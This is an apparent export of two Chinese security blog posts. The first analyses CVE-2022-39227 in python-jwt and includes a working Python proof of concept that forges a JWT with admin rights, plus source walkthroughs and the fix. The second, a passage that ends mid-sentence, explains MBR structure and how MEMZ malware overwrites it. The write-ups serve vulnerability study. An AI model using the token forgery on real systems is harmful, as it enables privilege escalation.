[{"content":"CVE-2022-39227描述了python-jwt \u0026lt; 3.3.4模块存在身份验证绕过漏洞，即攻击者在不知道JWT的加密密钥的情况下，仍然可以伪造JWT的内容。\n举个例子：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 import json import python_jwt as jwt # python-jwt == 3.3.3 import jwcrypto.jwk as jwk from datetime import timedelta secret_key = jwk.JWK.generate(kty=\u0026#39;oct\u0026#39;, size=256) # 生成原始JWT original_payload = {\u0026#34;admin\u0026#34;: False} original_token = jwt.generate_jwt(original_payload, secret_key, \u0026#39;HS256\u0026#39;, timedelta(minutes=5)) print(\u0026#34;---- Original JWT ----\u0026#34;) print(original_token) # 攻击 [header, payload, signature] = original_token.split(\u0026#39;.\u0026#39;) decoded_payload = json.loads(jwt.base64url_decode(payload)) decoded_payload[\u0026#39;admin\u0026#39;] = True # 篡改admin值进行提权 forged_payload = jwt.base64url_encode(json.dumps(decoded_payload)) forged_token = \u0026#39;\u0026#39;\u0026#39;{ \u0026#34;%s.%s.\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;protected\u0026#34;: \u0026#34;%s\u0026#34;, \u0026#34;payload\u0026#34;: \u0026#34;%s\u0026#34;, \u0026#34;signature\u0026#34;: \u0026#34;%s\u0026#34; }\u0026#39;\u0026#39;\u0026#39; % (header, forged_payload, header, payload, signature) print(\u0026#34;---- Forged Token ----\u0026#34;) print(forged_token) # 验证 verify_result = jwt.verify_jwt(forged_token, secret_key, [\u0026#39;HS256\u0026#39;]) print(\u0026#34;---- Verify Result ----\u0026#34;) print(verify_result) 运行结果如下：\n可以看到，forged_token与先前的original_token的结构似乎截然不同，却顺利地通过了verify_jwt()的校验，并且解析结果就是攻击者篡改后的'admin': True的结果。\n这样的结果令人不可思议：为什么攻击者连signature都没修改，就顺利通过了校验呢？下面我们将详细探讨。\n0x01 前置知识（JWT\u0026amp;JWS） JWT 我们来观察这样一个字符串：\neyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0.KMUFsIDTnFmyG3nMiGM6H9FNFUROf3wh7SmqJp-QV30 可以注意到，这个字符串由3个部分组成，每个部分都经过了base64编码，并以.连接。对每个部分进行base64解码，可以发现第一个部分内容为\n1 2 3 4 { \u0026#34;alg\u0026#34;: \u0026#34;HS256\u0026#34;, \u0026#34;typ\u0026#34;: \u0026#34;JWT\u0026#34; } 我们将其称作Header，中文翻译为“头部”。这里，alg字段标明了字符串使用的加密算法是HS256，typ字段标明了这一个编码对象是JWT。\n第二个部分内容为\n1 2 3 4 5 6 { \u0026#34;sub\u0026#34;: \u0026#34;1234567890\u0026#34;, \u0026#34;name\u0026#34;: \u0026#34;John Doe\u0026#34;, \u0026#34;admin\u0026#34;: true, \u0026#34;iat\u0026#34;: 1516239022 } 我们将其称作Payload，中文翻译为“载荷”。这里，我们可以注意到像sub，iat这样的注册声明名称（Registered Claim Names），也有name，admin这样的用户自行定义的字段。关于更多注册声明名称的含义，读者可查阅RFC 7519等资料进一步了解。\n第三个解码后似乎是一团乱码，我们不妨看看它的Hex：\n00000000 28 c5 05 b0 80 d3 9c 59 b2 1b 79 cc 88 63 3a 1f |(Å.°.Ó.Y².yÌ.c:.| 00000010 d1 4d 15 44 4e 7f 7c 21 ed 29 aa 26 94 15 df |ÑM.DN.|!í)ª\u0026amp;..ß| 这个部分称作Signature，也就是签名。这意味着其没有可读性，而用于校验字符串是否被别人篡改。Signature对Header和Payload部分的内容进行签名。\nHeader部分的alg字段标明了签名使用的是HS256算法，也就是 HMAC using SHA-256 算法计算得到的签名值。关于更多alg字段含义，读者可查阅RFC 7518等资料进一步了解。\n既然Header部分的typ字段表明了这个字符串是JWT，我们也理所当然将这个字符串称作JWT（JSON Web Token）。上述关于Header，Payload，Signature的介绍也是关于JWT的介绍。\n其实，这个字符串也可称作“紧凑型的JWS”。\nJWS JWS（JSON Web Signature）拥有两种形式，一种是JSON形式的，称作JWS JSON 序列化（JWS JSON Serialization），另一种就是如刚才我们所见的，称作JWS 紧凑序列化（JWS Compact Serialization）。\nJWS JSON Serialization JWS JSON 序列化的通用形式如下：\n1 2 3 4 5 6 7 8 9 10 11 { \u0026#34;payload\u0026#34;:\u0026#34;\u0026lt;payload contents\u0026gt;\u0026#34;, \u0026#34;signatures\u0026#34;:[ {\u0026#34;protected\u0026#34;:\u0026#34;\u0026lt;integrity-protected header 1 contents\u0026gt;\u0026#34;, \u0026#34;header\u0026#34;:\u0026lt;non-integrity-protected header 1 contents\u0026gt;, \u0026#34;signature\u0026#34;:\u0026#34;\u0026lt;signature 1 contents\u0026gt;\u0026#34;}, ... {\u0026#34;protected\u0026#34;:\u0026#34;\u0026lt;integrity-protected header N contents\u0026gt;\u0026#34;, \u0026#34;header\u0026#34;:\u0026lt;non-integrity-protected header N contents\u0026gt;, \u0026#34;signature\u0026#34;:\u0026#34;\u0026lt;signature N contents\u0026gt;\u0026#34;}] } 遇到单个signature的情况下，我们可以使用扁平化的JWS JSON 序列化（Flattened JWS JSON Serialization）：\n1 2 3 4 5 6 { \u0026#34;payload\u0026#34;:\u0026#34;\u0026lt;payload contents\u0026gt;\u0026#34;, \u0026#34;protected\u0026#34;:\u0026#34;\u0026lt;integrity-protected header contents\u0026gt;\u0026#34;, \u0026#34;header\u0026#34;:\u0026lt;non-integrity-protected header contents\u0026gt;, \u0026#34;signature\u0026#34;:\u0026#34;\u0026lt;signature contents\u0026gt;\u0026#34; } 综上所述，JWS JSON 序列化有通用形式、扁平化形式这两种形式，其中扁平化形式用于优化只有单个signature的情况。\nJWS JSON 序列化的头部分为“受保护的头部”（JWS Protected Header）和“不受保护的头部”（JWS Unprotected Header）两种，分别对应protected与header字段。因此，protected字段和payload字段的内容会参与签名，从而防止在传输过程中遭到攻击者篡改。而header字段内容不会参与签名。\nJWS Compact Serialization JWS 紧凑序列化的格式也正如刚才对JWT的介绍所示，即\nBASE64URL(UTF8(JWS Protected Header)) || \u0026#39;.\u0026#39; || BASE64URL(JWS Payload) || \u0026#39;.\u0026#39; || BASE64URL(JWS Signature) 值得注意的是，JWS 紧凑序列化只有Protected Header，也就是说相对于JWS JSON 序列化而言，它的header内容全部属于protected字段。因此JWS 紧凑序列化的Header与Payload都会参与签名，这恰好与JWT的情况相同。\n由此可见，对于刚才所举例子的字符串，我们可以同时称呼它为“JWT”和“JWS 紧凑序列化”。\n0x02 源码分析 回到正题上来，我们对源码进行分析，从而理解漏洞的形成原因以及如何利用该漏洞。\nverify_jwt() verify_jwt()的源码如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 def verify_jwt(jwt, pub_key=None, allowed_algs=None, iat_skew=timedelta(), checks_optional=False, ignore_not_implemented=False): if allowed_algs is None: allowed_algs = [] if not isinstance(allowed_algs, list): # jwcrypto only supports list of allowed algorithms raise _JWTError(\u0026#39;allowed_algs must be a list\u0026#39;) header, claims, _ = jwt.split(\u0026#39;.\u0026#39;) parsed_header = json_decode(base64url_decode(header)) alg = parsed_header.get(\u0026#39;alg\u0026#39;) if alg is None: raise _JWTError(\u0026#39;alg header not present\u0026#39;) if alg not in allowed_algs: raise _JWTError(\u0026#39;algorithm not allowed: \u0026#39; + alg) if not ignore_not_implemented: for k in parsed_header: if k not in JWSHeaderRegistry: raise _JWTError(\u0026#39;unknown header: \u0026#39; + k) if not JWSHeaderRegistry[k].supported: raise _JWTError(\u0026#39;header not implemented: \u0026#39; + k) if pub_key: token = JWS() token.allowed_algs = allowed_algs token.deserialize(jwt, pub_key) elif \u0026#39;none\u0026#39; not in allowed_algs: raise _JWTError(\u0026#39;no key but none alg not allowed\u0026#39;) parsed_claims = json_decode(base64url_decode(claims)) utcnow = datetime.utcnow() now = timegm(utcnow.utctimetuple()) typ = parsed_header.get(\u0026#39;typ\u0026#39;) if typ is None: if not checks_optional: raise _JWTError(\u0026#39;typ header not present\u0026#39;) elif typ != \u0026#39;JWT\u0026#39;: raise _JWTError(\u0026#39;typ header is not JWT\u0026#39;) iat = parsed_claims.get(\u0026#39;iat\u0026#39;) if iat is None: if not checks_optional: raise _JWTError(\u0026#39;iat claim not present\u0026#39;) elif iat \u0026gt; timegm((utcnow + iat_skew).utctimetuple()): raise _JWTError(\u0026#39;issued in the future\u0026#39;) nbf = parsed_claims.get(\u0026#39;nbf\u0026#39;) if nbf is None: if not checks_optional: raise _JWTError(\u0026#39;nbf claim not present\u0026#39;) elif nbf \u0026gt; now: raise _JWTError(\u0026#39;not yet valid\u0026#39;) exp = parsed_claims.get(\u0026#39;exp\u0026#39;) if exp is None: if not checks_optional: raise _JWTError(\u0026#39;exp claim not present\u0026#39;) elif exp \u0026lt;= now: raise _JWTError(\u0026#39;expired\u0026#39;) return parsed_header, parsed_claims 代码很长，我们进行逐段分析：\n对参数allowed_algs进行校验 1 2 3 4 5 6 7 # allowed_algs为空时的处理 if allowed_algs is None: allowed_algs = [] # 如果不是列表则抛出错误 if not isinstance(allowed_algs, list): raise _JWTError(\u0026#39;allowed_algs must be a list\u0026#39;) 按照.号将JWT分为三段，并将header部分解码 1 2 header, claims, _ = jwt.split(\u0026#39;.\u0026#39;) parsed_header = json_decode(base64url_decode(header)) 检验header字段是否合规 1 2 3 4 5 6 7 8 9 10 11 12 13 14 # 判断alg字段内容是否合规 alg = parsed_header.get(\u0026#39;alg\u0026#39;) if alg is None: raise _JWTError(\u0026#39;alg header not present\u0026#39;) if alg not in allowed_algs: raise _JWTError(\u0026#39;algorithm not allowed: \u0026#39; + alg) # 检查Header是否匹配JWSHeaderRegistry（默认不检查） if not ignore_not_implemented: for k in parsed_header: if k not in JWSHeaderRegistry: raise _JWTError(\u0026#39;unknown header: \u0026#39; + k) if not JWSHeaderRegistry[k].supported: raise _JWTError(\u0026#39;header not implemented: \u0026#39; + k) 对签名进行验证 函数对签名的验证过程在JWS.deserialize()中，本文随后对其进行源码分析。\n1 2 3 4 5 6 7 8 # 如果传参了公钥pub_key便对签名进行验证 if pub_key: token = JWS() token.allowed_algs = allowed_algs token.deserialize(jwt, pub_key) # 对JWT进行JWS反序列化 # 如果不允许不签名就抛出错误 elif \u0026#39;none\u0026#39; not in allowed_algs: raise _JWTError(\u0026#39;no key but none alg not allowed\u0026#39;) 对payload部分进行相关检验 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 parsed_claims = json_decode(base64url_decode(claims)) utcnow = datetime.utcnow() now = timegm(utcnow.utctimetuple()) typ = parsed_header.get(\u0026#39;typ\u0026#39;) if typ is None: if not checks_optional: raise _JWTError(\u0026#39;typ header not present\u0026#39;) elif typ != \u0026#39;JWT\u0026#39;: raise _JWTError(\u0026#39;typ header is not JWT\u0026#39;) iat = parsed_claims.get(\u0026#39;iat\u0026#39;) if iat is None: if not checks_optional: raise _JWTError(\u0026#39;iat claim not present\u0026#39;) elif iat \u0026gt; timegm((utcnow + iat_skew).utctimetuple()): raise _JWTError(\u0026#39;issued in the future\u0026#39;) nbf = parsed_claims.get(\u0026#39;nbf\u0026#39;) if nbf is None: if not checks_optional: raise _JWTError(\u0026#39;nbf claim not present\u0026#39;) elif nbf \u0026gt; now: raise _JWTError(\u0026#39;not yet valid\u0026#39;) exp = parsed_claims.get(\u0026#39;exp\u0026#39;) if exp is None: if not checks_optional: raise _JWTError(\u0026#39;exp claim not present\u0026#39;) elif exp \u0026lt;= now: raise _JWTError(\u0026#39;expired\u0026#39;) 返回解析后的header和payload部分的内容 1 return parsed_header, parsed_claims 总结一下，对于这样的一个JWT：\neyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZG1pbiI6ZmFsc2UsImV4cCI6MTc0NzAzMzI1MiwiaWF0IjoxNzQ3MDMyOTUyLCJqdGkiOiJWNEtjSnVBRnRSUEd0ZnVzbVdJbTZRIiwibmJmIjoxNzQ3MDMyOTUyfQ.tuY-k9-4kB5mVtL4PAZn9-ABdr6eBPE-24j_jIAeAQM 经过verify_jwt()的处理后，可以得到：\n1 2 3 4 5 6 7 header, claims, _ = jwt.split(\u0026#39;.\u0026#39;) # header = eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 # claims = eyJhZG1pbiI6ZmFsc2UsImV4cCI6MTc0NzAzMzI1MiwiaWF0IjoxNzQ3MDMyOTUyLCJqdGkiOiJWNEtjSnVBRnRSUEd0ZnVzbVdJbTZRIiwibmJmIjoxNzQ3MDMyOTUyfQ parsed_header = json_decode(base64url_decode(header)) # parsed_header = {\u0026#34;alg\u0026#34;:\u0026#34;HS256\u0026#34;,\u0026#34;typ\u0026#34;:\u0026#34;JWT\u0026#34;} parsed_claims = json_decode(base64url_decode(claims)) # parsed_claims = {\u0026#34;admin\u0026#34;:false,\u0026#34;exp\u0026#34;:1747033252,\u0026#34;iat\u0026#34;:1747032952,\u0026#34;jti\u0026#34;:\u0026#34;V4KcJuAFtRPGtfusmWIm6Q\u0026#34;,\u0026#34;nbf\u0026#34;:1747032952} 并且会将JWT传入到JWS.deserialize()进行签名验证。\nJWS.deserialize() JWS.deserialize()的源码如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 def deserialize(self, raw_jws, key=None, alg=None): self.objects = {} o = {} try: try: djws = json_decode(raw_jws) if \u0026#39;signatures\u0026#39; in djws: o[\u0026#39;signatures\u0026#39;] = [] for s in djws[\u0026#39;signatures\u0026#39;]: os = self._deserialize_signature(s) o[\u0026#39;signatures\u0026#39;].append(os) self._deserialize_b64(o, os.get(\u0026#39;protected\u0026#39;)) else: o = self._deserialize_signature(djws) self._deserialize_b64(o, o.get(\u0026#39;protected\u0026#39;)) if \u0026#39;payload\u0026#39; in djws: if o.get(\u0026#39;b64\u0026#39;, True): o[\u0026#39;payload\u0026#39;] = base64url_decode(str(djws[\u0026#39;payload\u0026#39;])) else: o[\u0026#39;payload\u0026#39;] = djws[\u0026#39;payload\u0026#39;] except ValueError: data = raw_jws.split(\u0026#39;.\u0026#39;) if len(data) != 3: raise InvalidJWSObject(\u0026#39;Unrecognized\u0026#39; \u0026#39; representation\u0026#39;) from None p = base64url_decode(str(data[0])) if len(p) \u0026gt; 0: o[\u0026#39;protected\u0026#39;] = p.decode(\u0026#39;utf-8\u0026#39;) self._deserialize_b64(o, o[\u0026#39;protected\u0026#39;]) o[\u0026#39;payload\u0026#39;] = base64url_decode(str(data[1])) o[\u0026#39;signature\u0026#39;] = base64url_decode(str(data[2])) self.objects = o except Exception as e: # pylint: disable=broad-except raise InvalidJWSObject(\u0026#39;Invalid format\u0026#39;) from e if key: self.verify(key, alg) 该方法同时实现了对JWS JSON 序列化和JWS 紧凑序列化的反序列化。首先，JWS.deserialize()先对传入的字符串尝试进行JSON解析。如果能正常解析，则进入对JWS JSON 序列化的处理流程；反之，如果抛出了ValueError错误，则进入对JWS 紧凑序列化的处理流程。\n对JWS JSON 序列化的处理流程如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 try: djws = json_decode(raw_jws) # JSON解析 # 对通用形式的处理 if \u0026#39;signatures\u0026#39; in djws: o[\u0026#39;signatures\u0026#39;] = [] for s in djws[\u0026#39;signatures\u0026#39;]: os = self._deserialize_signature(s) # 提取protected、header、signature o[\u0026#39;signatures\u0026#39;].append(os) self._deserialize_b64(o, os.get(\u0026#39;protected\u0026#39;)) # 校验b64值 # 对扁平化形式的处理 else: o = self._deserialize_signature(djws) # 提取protected、signature self._deserialize_b64(o, o.get(\u0026#39;protected\u0026#39;)) # 校验b64值 if \u0026#39;payload\u0026#39; in djws: if o.get(\u0026#39;b64\u0026#39;, True): # 若b64为True（True为默认值，且可以不标注） o[\u0026#39;payload\u0026#39;] = base64url_decode(str(djws[\u0026#39;payload\u0026#39;])) # 对payload进行base64解码 else: o[\u0026#39;payload\u0026#39;] = djws[\u0026#39;payload\u0026#39;] 对JWS 紧凑序列化的处理流程如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 except ValueError: data = raw_jws.split(\u0026#39;.\u0026#39;) # 将字符串按照\u0026#39;.\u0026#39;拆分 # 拆分后如果不是3个部分则说明格式错误 if len(data) != 3: raise InvalidJWSObject(\u0026#39;Unrecognized\u0026#39; \u0026#39; representation\u0026#39;) from None # 取header部分 p = base64url_decode(str(data[0])) if len(p) \u0026gt; 0: o[\u0026#39;protected\u0026#39;] = p.decode(\u0026#39;utf-8\u0026#39;) # JWS紧凑序列化的header self._deserialize_b64(o, o[\u0026#39;protected\u0026#39;]) o[\u0026#39;payload\u0026#39;] = base64url_decode(str(data[1])) o[\u0026#39;signature\u0026#39;] = base64url_decode(str(data[2])) Tip:\n这里分享一个笔者联想到的，与漏洞分析无关的小点子。\n观察到代码中的if len(p) \u0026gt; 0，让人好奇：先前的if len(data) != 3似乎已经保证了Protected Header部分的内容不会为”空“了，为什么还需要加上这个校验呢？事实上，if len(data) != 3只能保证data[0]的内容不会为null。然而当data[0]的内容为'=='、'==='、'===='时，base64url_decode()也会返回空字符串，Protected Header部分的内容仍然可能为“空”。因此if len(p) \u0026gt; 0校验并非冗余。\n那么Protected Header的内容为==、'==='、'===='时会发生什么？当len(p) == 0，在此后的JWS._verify()方法中也会报错No \u0026quot;alg\u0026quot; in headers。因此Protected Header的内容始终不能为“空”，即使想用刚才的一堆=滥竽充数也不行。\n总结一下，JWS.deserialize()会首先尝试对传入的字符串进行JSON解析，如果行不通的话，就会再尝试进行JWS 紧凑序列化的解析。\n最后，若参数key存在，则对signature进行验证。\n1 2 if key: self.verify(key, alg) 0x03 漏洞解析 我们观察一下恶意token的格式：\n1 2 3 4 5 6 forged_token = \u0026#39;\u0026#39;\u0026#39;{ \u0026#34;%s.%s.\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;protected\u0026#34;: \u0026#34;%s\u0026#34;, \u0026#34;payload\u0026#34;: \u0026#34;%s\u0026#34;, \u0026#34;signature\u0026#34;: \u0026#34;%s\u0026#34; }\u0026#39;\u0026#39;\u0026#39; % (header, forged_payload, header, payload, signature) 也就是\n1 2 3 4 5 6 { \u0026#34;\u0026lt;header\u0026gt;.\u0026lt;forged_payload\u0026gt;.\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;protected\u0026#34;: \u0026#34;\u0026lt;header\u0026gt;\u0026#34;, \u0026#34;payload\u0026#34;: \u0026#34;\u0026lt;payload\u0026gt;\u0026#34;, \u0026#34;signature\u0026#34;: \u0026#34;\u0026lt;signature\u0026gt;\u0026#34; } 我们首先举个恶意token的例子，看看漏洞是如何利用的。\n1 2 3 4 5 6 { \u0026#34;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZG1pbiI6IHRydWUsICJleHAiOiAxNzQ3MDQwOTM5LCAiaWF0IjogMTc0NzA0MDYzOSwgImp0aSI6ICJpRmU1VVN6eVhkZnR4SndWNFRGUjBRIiwgIm5iZiI6IDE3NDcwNDA2Mzl9.\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;protected\u0026#34;: \u0026#34;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9\u0026#34;, \u0026#34;payload\u0026#34;: \u0026#34;eyJhZG1pbiI6ZmFsc2UsImV4cCI6MTc0NzA0MDkzOSwiaWF0IjoxNzQ3MDQwNjM5LCJqdGkiOiJpRmU1VVN6eVhkZnR4SndWNFRGUjBRIiwibmJmIjoxNzQ3MDQwNjM5fQ\u0026#34;, \u0026#34;signature\u0026#34;: \u0026#34;1BftylfzfqBgMFnZ7Sp5S-NNZSYtax2TKEg_CXXmMbM\u0026#34; } 乍一看这就是一个JSON字符串。在JWS.deserialize()眼中，它是一个JWS JSON 序列化。不过，它在verify_jwt()眼中却是这样的一个JWT：\n`Header`: {\u0026#34;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 `Payload`: eyJhZG1pbiI6IHRydWUsICJleHAiOiAxNzQ3MDQwOTM5LCAiaWF0IjogMTc0NzA0MDYzOSwgImp0aSI6ICJpRmU1VVN6eVhkZnR4SndWNFRGUjBRIiwgIm5iZiI6IDE3NDcwNDA2Mzl9 `Signature`: \u0026#34;: \u0026#34;\u0026#34;,\u0026#34;protected\u0026#34;: \u0026#34;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9\u0026#34;,\u0026#34;payload\u0026#34;: \u0026#34;eyJhZG1pbiI6ZmFsc2UsImV4cCI6MTc0NzA0MDkzOSwiaWF0IjoxNzQ3MDQwNjM5LCJqdGkiOiJpRmU1VVN6eVhkZnR4SndWNFRGUjBRIiwibmJmIjoxNzQ3MDQwNjM5fQ\u0026#34;,\u0026#34;signature\u0026#34;: \u0026#34;1BftylfzfqBgMFnZ7Sp5S-NNZSYtax2TKEg_CXXmMbM\u0026#34;} 因此，对于这个恶意token，经过verify_jwt()解析后为：\n1 2 3 4 5 6 7 header, claims, _ = jwt.split(\u0026#39;.\u0026#39;) # header = {\u0026#34;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 # claims = eyJhZG1pbiI6IHRydWUsICJleHAiOiAxNzQ3MDQwOTM5LCAiaWF0IjogMTc0NzA0MDYzOSwgImp0aSI6ICJpRmU1VVN6eVhkZnR4SndWNFRGUjBRIiwgIm5iZiI6IDE3NDcwNDA2Mzl9 parsed_header = json_decode(base64url_decode(header)) # parsed_header = {\u0026#34;alg\u0026#34;:\u0026#34;HS256\u0026#34;,\u0026#34;typ\u0026#34;:\u0026#34;JWT\u0026#34;} parsed_claims = json_decode(base64url_decode(claims)) # parsed_claims = {\u0026#34;admin\u0026#34;: true, \u0026#34;exp\u0026#34;: 1747040939, \u0026#34;iat\u0026#34;: 1747040639, \u0026#34;jti\u0026#34;: \u0026#34;iFe5USzyXdftxJwV4TFR0Q\u0026#34;, \u0026#34;nbf\u0026#34;: 1747040639} 而JWS.deserialize()会将它当作扁平化形式的JWS JSON 序列化进行处理。解析结果为：\n1 2 3 4 5 o = self._deserialize_signature(djws) # o[\u0026#39;protected\u0026#39;] = {\u0026#34;alg\u0026#34;:\u0026#34;HS256\u0026#34;,\u0026#34;typ\u0026#34;:\u0026#34;JWT\u0026#34;} # o[\u0026#39;signature\u0026#39;] = b\u0026#39;\\xd4\\x17\\xed\\xcaW\\xf3~\\xa0`0Y\\xd9\\xed*yK\\xe3Me\u0026amp;-k\\x1d\\x93(H?\\tu\\xe61\\xb3\u0026#39; o[\u0026#39;payload\u0026#39;] = base64url_decode(str(djws[\u0026#39;payload\u0026#39;])) # o[\u0026#39;payload\u0026#39;] = {\u0026#34;admin\u0026#34;:false,\u0026#34;exp\u0026#34;:1747040939,\u0026#34;iat\u0026#34;:1747040639,\u0026#34;jti\u0026#34;:\u0026#34;iFe5USzyXdftxJwV4TFR0Q\u0026#34;,\u0026#34;nbf\u0026#34;:1747040639} Tip:\n在对header进行base64解码时，会因为{和\u0026quot;字符抛出异常吗？\nJWS.deserialize()进行base64解码时使用的是jwcrypto.common.base64url_decode()，这一函数其实调用了base64.urlsafe_b64decode()，而它其实调用了base64.b64decode()。阅读base64.b64decode()的官方文档，我们得知：\nIf validate is False (the default), characters that are neither in the normal base-64 alphabet nor the alternative alphabet are discarded prior to the padding check. If validate is True, these non-alphabet characters in the input result in a binascii.Error.\njwcrypto.common.base64url_decode()与base64.urlsafe_b64decode()都没有将validate值设置为True，因此程序会丢弃{和\u0026quot;字符，也就不会因为这些字符而抛出异常。\nJWS.deserialize()会提取这个JSON字符串中protected、payload、signature字段的值。它获取的protected与payload的值都来源于original_token，将它们带入验证，最终signature验证通过也是理所当然的。\nverify_jwt()得知signature验证通过了，就返回parsed_header与parsed_claims的值。可是，返回的parsed_claims却是攻击者篡改过的值，其中包含\u0026quot;admin\u0026quot;: true。至此，攻击者提权成功。\n让我们总结一下思路。\n攻击者精心构造恶意token，这个恶意token同时符合JWS JSON 序列化和JWS 紧凑序列化的特征。\nJWS.deserialize()的期望效果是将传入的token当作JWS 紧凑序列化，因为一个正常的JWT同时也是JWS 紧凑序列化。\n然而JWS.deserialize()将恶意token当作了JWS JSON 序列化，在对signature进行校验时使用的值是原汁原味的\u0026lt;header\u0026gt;与\u0026lt;payload\u0026gt;，校验自然成功。\n得知signature校验成功后，verify_jwt()返回的期望值应当是\u0026lt;header\u0026gt;与\u0026lt;payload\u0026gt;。\n然而对于恶意token，verify_jwt()返回的值却是\u0026lt;header\u0026gt;与\u0026lt;forged_payload\u0026gt;。攻击者成功欺骗了verify_jwt()，使其返回了攻击者篡改的值。\n0x04 漏洞修复 阅读作者修复漏洞的commit，我们得知：verify_jwt()在进行后续处理前，首先会通过_check_jwt_format()验证JWT的格式：\n1 2 3 4 _jwt_re = re.compile(r\u0026#39;^[A-Za-z0-9\\-_]+\\.[A-Za-z0-9\\-_]+\\.[A-Za-z0-9\\-_]*$\u0026#39;) def _check_jwt_format(jwt): if not _jwt_re.match(jwt): raise _JWTError(\u0026#39;invalid JWT format\u0026#39;) 也就是说，JWT不再能包含{、}、\u0026quot;、:等等符号了。攻击者无法构造符合JWS JSON 序列化特征的JWT进行攻击，漏洞修复完成。\n相关文章 Python-JWT身份验证绕过复现(CVE-2022-39227) | LtmThink 奇安信攻防社区-CVE-2022-39227漏洞分析 ","permalink":"https://a7ca3.github.io/post/cve-2022-39227-%E6%BC%8F%E6%B4%9E%E8%A7%A3%E6%9E%90/","summary":"\u003cp\u003eCVE-2022-39227描述了\u003ccode\u003epython-jwt \u0026lt; 3.3.4\u003c/code\u003e模块存在身份验证绕过漏洞，即攻击者在不知道JWT的加密密钥的情况下，仍然可以伪造JWT的内容。\u003c/p\u003e","title":"CVE-2022-39227 漏洞解析"},{"content":"初中的时候很喜欢在B站看彩虹猫病毒的视频。视频内容要么是“彩虹猫在xx系统运行”，要么就是\u0026quot;彩虹猫大战各种杀软\u0026quot;，实在没活了之后又能换款病毒像前两种继续水视频，基本上没有太多技术含量而言。如今也想不明白自己当初为什么会着迷这种视频。\n关于第一篇博客的题材想了许久，干脆就重拾当时的“兴趣”，尝试做些技术面分析。\n0x01 MBR分区介绍 MBR（Master Boot Record），中文翻译为主引导记录、主引导扇区，位于磁盘的首个扇区（LBA 0）。计算机开机启动时，BIOS会首先读取MBR，之后完成一系列开机操作。MEMZ.exe就是通过修改MBR分区，从而实现开机时播放彩虹猫动画，并操控蜂鸣器播放音乐。\nMBR占用一个扇区，即512个字节。在该扇区中，前446字节称作主引导例程（Master Boot Routine），随后的64个字节为分区表（Disk Partition Table, DPT），最后两个字节为结束标识符，值为55AAH。\nMBR的检查代码有三个版本，他们分别是：\n标准版本，历经MS-DOS 3.30至Windows 95版本； 第二个版本，适用于Windows 95B, 98, 98SE, ME版本； 第三个版本，适用于Windows 7, 8/8.1, 10版本。 当然Linux和macOS也支持或曾经支持MBR。\n主引导例程 不同版本的主引导例程随着不同版本的检查代码而有些许差异，但大体结构不变。\n以标准版本为例，绿色部分为可执行代码，随后的紫色部分为报错信息。红色和黄色部分分别为分区表和结束标识符，当然他们不在主引导例程的范围之内了。若读者需要进一步学习，可阅读MBR检查代码里的opcode。\n分区表 分区表占据 $4\\times16$ 个字节。每个分区的信息占据16字节，由此可以看出MBR型最多能划分4个主分区（或者3个主分区+1个扩展分区）。每个分区占据的16字节规划如下。\n偏移量 长度（字节） 内容与含义 0x00 1 引导标志。0x80表示活动分区，0x00表示非活动分区。 0x01 3 起始CHS地址。三个字节分别表示分区的起始柱面（C）、磁头（H）、扇区（S）。 0x04 1 分区类型标志位。 0x05 3 结束CHS地址。三个字节分别表示分区的起始柱面（C）、磁头（H）、扇区（S）。 0x08 4 起始LBA。记录从磁盘的第一个扇区（LBA 0）到当前分区第一个扇区的扇区数量。 0x0C 4 本分区的总扇区数。 0x02 MEMZ.exe修改MBR分区 MEMZ.exe中覆写MBR分区的代码部分如图所示。\n样本首先以读写方式打开PhysicalDrive0（通常为主硬盘），之后分配一个大小为64KB（0x10000字节）的内存缓冲区。随后向内存缓冲区中写入byte_402118和byte_402248的内容。\nbyte_402118的内容如下图所示。\nbyte_402118长度为303字节，从缓冲区首个位置开始写入，很显然其目的是覆盖主引导例程部分。此部分的opcode主要用于为播放彩虹猫动画和音乐做准备。\nbyte_402248篇幅较长，若读者感兴趣可自行分析。其前两个字节的内容如下图所示。\nbyte_402248偏移了510个字节后向内存写入，而其开头的两个字节的内容为55h，AAh，很显然是为了补足MBR结束标识符，使得MBR的检查代码能够成功识别MBR。随后的内容为显示彩虹猫动画、播放音乐、阻止系统响应输入等。\n0x03 更好的替代品 20世纪90年代末期，Intel开发了一种新的分区表格式，随后成为了UEFI的一部分。GPT也随UEFI而诞生。GPT（GUID Partition Table），中文翻译为全局唯一标识分区表，相较于MBR有了更多优势。\n可支持的硬盘容量更大 受限于MBR的分区表长度限制，即上文提到的仅有4个字节（32位）存储LBA值，此时MBR可支持的最多扇区数为 $2^{32}−1=4,294,967,295$。扇区大小按照512字节计算，则MBR可支持的硬盘容量大小为 $4,294,967,295\\times512=2,199,023,255,040$ 个字节，即大多数资料所描述的2.2TB。而GPT分区使用了8个字节（64位）存储LBA值，可支持的扇区数目就是MBR的 $2^{32}$ 